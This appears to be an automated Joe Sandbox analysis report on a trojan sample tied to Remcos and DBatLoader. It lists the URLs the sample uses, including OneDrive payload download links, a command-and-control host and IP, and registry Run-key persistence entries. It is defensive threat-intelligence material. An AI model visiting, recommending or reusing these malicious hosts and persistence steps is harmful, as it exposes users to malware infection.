https://live.com/B	adode.exe, 00000004.00000003.3283144779.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4098316675.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3703401111.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3653371176.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2936053075.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4169072336.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3823660413.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3212100877.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2844260322.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3319812944.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2993957950.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2464044779.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2760453671.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3208821785.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3657170713.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2480570712.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3910304327.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4066418903.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2814123631.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2708388480.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2686129475.000000000087D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4m4b_CI5cntsyPGAhte_fX6_xd82TcwGf6-ScttL3rVGbniBmLrVX3xFBr0Xin3k3K	adode.exe, 0000000B.00000002.2674510018.000000000074B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.000000000070B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2666381721.00000000006CF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4meU6qisqp4Gm95uhgEmrD5Fk5T1BoqiLt4XZvMwv6bzlgKBxQJrakFKNYDfGz	adode.exe, 00000007.00000003.2417235143.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://live.com/F	adode.exe, 00000004.00000003.2175082463.000000000088C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://live.com/J	adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000003.2417235143.000000000088E000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000002.2421306141.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mdUiIPYXNEP6x1E52EPBxdlhE4rBeiwVK6Xxu6EcclZKL23r2uWnP9oFy272cZk20	adode.exe, 0000000B.00000003.2627643959.0000000000746000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4m4b_CI5cntsyPGAhte_fX6_xd82TcwGf6-ScttL3rVGbniBmLrVX3xFBr0Xin	adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.000000000070B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gp=	adode.exe, 00000004.00000003.3233976736.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000884000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4150586108.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000883000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3133359644.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2681130552.0000000000884000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://a4wlna.bn.files.1drv.com:443/y4mzJ69NZkoQpPTH2L-y8c6KUoC	adode.exe, 00000004.00000003.2743711945.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mzJ69NZkoQpPTH2L-y8c6KUoCTqNFGdhF4vTK8FEI11MdgHTbUFDdiW4StVR25-4M	adode.exe, 00000004.00000003.4077501360.000000000088D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4113133335.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3398396517.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3884273916.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3012519615.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3946945896.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3310144503.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3906903571.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4187113177.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4028860883.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3326624951.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3672498845.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3556679228.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3108612542.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3181095394.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4077501360.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3687170466.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3008182974.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3552555580.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2175082463.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000003.2417235143.000000000092A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4m_2nWPYECB6GG727a86yDNcKpSvinlMghbgmzHI5CeDEw_jORpzSM1CuFAwn4HKQA	adode.exe, 0000000B.00000003.2647392247.000000000074A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mmL4PBZSGLf1pYr2YfjNrkXkndhxiwwSoTpoHnrAYtwy9Eq6BXHDf1wledd6ZKEsC	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4mzJ69NZkoQpPTH2L-y8c6KUoCTqNFGdhF4vTK8FEI11MdgHTbUFDdiW4StVR2	adode.exe, 00000004.00000003.3556679228.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2907189978.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3283144779.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160996263.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2953713340.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2665633974.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3856983604.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4mGsMbDhrqT4H8M3UmdvR3-ZbVnJl3xtwFC6_sGakQM9FticfdonZeXKszIrN9	adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2508288522.0000000000837000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/download?resid=D2FF5C6240820574%21686&authkey=	adode.exe, 00000004.00000003.2441068745.0000000000848000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4150586108.000000000084D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160996263.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3382212434.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3242979672.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3938367016.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3887590993.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3072876181.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3848402012.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3807553569.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3502596212.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4200373584.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.000000000084A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3660893269.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2936053075.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2990216210.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4140041226.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2976907613.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3484265545.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3583240457.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3743594443.0000000000851000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gp/C	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, Tuscpznj.PIF, 00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp, adode.exe, 00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp, Tuscpznj.PIF, 0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
https://a4wlna.bn.files.1drv.com/y4mzrTE16B9v_86WpKnH7vysUel0JBT3bRcrjppx2idmvsQH1LZqMw1NRddF8T8RGZ2	adode.exe, 0000000B.00000003.2647392247.000000000074A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2647319231.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4mvk_lT5boh_iPYb0wYmj3dnm666r79FD-6z_HZ-hY6Y66LFtfIOWZUebIdcaH	adode.exe, 00000007.00000003.2397443358.00000000008EF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://live.com/	adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4m3u0QFpR4j-D-zfvEHJd1n5xdhOF39iul8b83e3LPDlruW3-qFyfQFrm9rKg0	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mvk_lT5boh_iPYb0wYmj3dnm666r79FD-6z_HZ-hY6Y66LFtfIOWZUebIdcaHdlb7	adode.exe, 00000007.00000003.2397443358.00000000008EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/c	adode.exe, 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com:443/y4mpQEh8k2buqyUrIoyF6LQRqdR-W8s6kXvlC8FY4Vl55jnIHsQwPN8EI3RjIX3	adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/h	adode.exe, 00000007.00000003.2397443358.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pmail.com	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://onedrive.live.com/;	adode.exe, 00000008.00000003.2503434982.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4m9ba_jdWibhdjzsYE06pfSAK5jWM4VU1vegoZ9qZe8tcqBnFEF58-VGrGQaA0o6Lr	adode.exe, 00000007.00000003.2366157935.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.193.55	newpage44.mywire.org	United States	36352	AS-COLOCROSSINGUS	true
13.107.137.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428705
Start date and time:	2024-04-19 12:28:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@10/648@6/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 55 Number of non-executed functions: 243
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, bn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, l-0003.l-msedge.net, ocsp.digicert.com, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, odc-bn-files-brs.onedrive.akadns.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, odc-bn-files-geo.onedrive.akadns.net
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:28:49	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe modified
12:28:56	API Interceptor	4976988x Sleep call for process: adode.exe modified
12:29:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Tuscpznj C:\Users\Public\Tuscpznj.url
12:29:09	API Interceptor	2x Sleep call for process: Tuscpznj.PIF modified
12:29:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
12:29:17	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
12:29:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Tuscpznj C:\Users\Public\Tuscpznj.url
12:29:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.137.11	Payment Remittance Advice_000000202213.xlsb	Get hash	malicious	Unknown	Browse	onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU
178.237.33.50	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	Invoice No. 03182024.docx	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	AWB DOCUMENT.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	tu.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	RFQ.NO. S70-23Q-1474-CS-P.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	geoplugin.net/json.gp
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dual-spov-0006.spov-msedge.net	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	Signed Proforma Invoice 3645479_pdf.vbs	Get hash	malicious	FormBook	Browse	13.107.139.11
	ORDER-CONFIRMATION-DETAILS-000235374564.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.139.11
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.137.11
	20240416-703661.cmd	Get hash	malicious	DBatLoader	Browse	13.107.139.11
	20240416-703661.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.139.11
	disktop.pif.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.139.11
	https://1drv.ms/o/s!AhT23e1MofOfpnjbpE9m51fOcII5?e=K3DPPG	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.137.11
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.137.11
newpage44.mywire.org	033782718278172.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.255.114.112
	9909203993029382.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.255.114.80
	Noua lista de comenzi.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.255.114.80
geoplugin.net	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	Invoice No. 03182024.docx	Get hash	malicious	Remcos	Browse	178.237.33.50
	AWB DOCUMENT.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5	Get hash	malicious	Remcos	Browse	178.237.33.50
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	tu.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	RFQ.NO. S70-23Q-1474-CS-P.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Gantt_Excel_Pro_Daily_Free1.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://jll2.sharepoint.com/:f:/t/WorkplaceStrategy274/EqyxzpLxD8lEhSn1hXMNtKMBbmoik8-xeuIbHrYk7cgngA?e=5%3a2wyFQq&at=9&xsdata=MDV8MDJ8cGF0cmljaWEucmliZWlyb0Bub3ZvYmFuY28ucHR8NjlmMTdkMWU5YzBjNDFkN2UwZmIwOGRjNTNjN2YwZTV8MTAzMzgwNDgxOTNhNDI5OGFiZWEzNTk2YWU4OGIwNWV8MHwwfDYzODQ3NzM2NTQwMjI0OTQwNXxVbmtub3dufFRXRnBiR1pzYjNkOGV5SldJam9pTUM0d0xqQXdNREFpTENKUUlqb2lWMmx1TXpJaUxDSkJUaUk2SWsxaGFXd2lMQ0pYVkNJNk1uMD18MHx8fA%3d%3d&sdata=T2RkZHdHdHpwUXkxSG5Kd2Noc1RHVUc3YVNLVE1sOWZUTXdVZitYYXh6Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	http://monacolife.net	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://www.joesandbox.com/login	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://jobrad.us1.list-manage.com/track/click?u=9c40c69097d5cc62620fab666&id=4174455835&e=1c8272e83c	Get hash	malicious	Unknown	Browse	13.107.213.57
	https://librospy.com/	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://sdcoes.net/LandingPage/Index/122/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://6a5ff6af4b0fe3e6f0bd452927dfb55b352fdd2d1bab6d1e7de2b641e2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://18apmic18.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	13.107.213.36
AS-COLOCROSSINGUS	Invoice No. 03182024.docx	Get hash	malicious	Remcos	Browse	192.210.201.57
	PO_983888123.xls	Get hash	malicious	Unknown	Browse	107.173.4.2
	PO_983888123.xls	Get hash	malicious	Unknown	Browse	107.173.4.2
	PO_983888123.xls	Get hash	malicious	Unknown	Browse	107.173.4.2
	Kt28gy4sgm.elf	Get hash	malicious	Mirai	Browse	104.168.45.11
	SecuriteInfo.com.Exploit.ShellCode.69.31966.31539.rtf	Get hash	malicious	Remcos	Browse	192.3.101.153
	Yui1pUgieI.elf	Get hash	malicious	Mirai	Browse	104.168.61.51
	Vedtb2CYvY.elf	Get hash	malicious	Mirai	Browse	104.170.167.222
	SecuriteInfo.com.Win32.Evo-gen.28931.17898.exe	Get hash	malicious	Unknown	Browse	192.227.146.252
	SecuriteInfo.com.Win32.Evo-gen.28931.17898.exe	Get hash	malicious	Unknown	Browse	192.227.146.252
ATOM86-ASATOM86NL	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	Invoice No. 03182024.docx	Get hash	malicious	Remcos	Browse	178.237.33.50
	AWB DOCUMENT.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5	Get hash	malicious	Remcos	Browse	178.237.33.50
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	tu.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	RFQ.NO. S70-23Q-1474-CS-P.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Gantt_Excel_Pro_Daily_Free1.xlsm	Get hash	malicious	Unknown	Browse	13.107.137.11
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	13.107.137.11
	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Get hash	malicious	LummaC	Browse	13.107.137.11
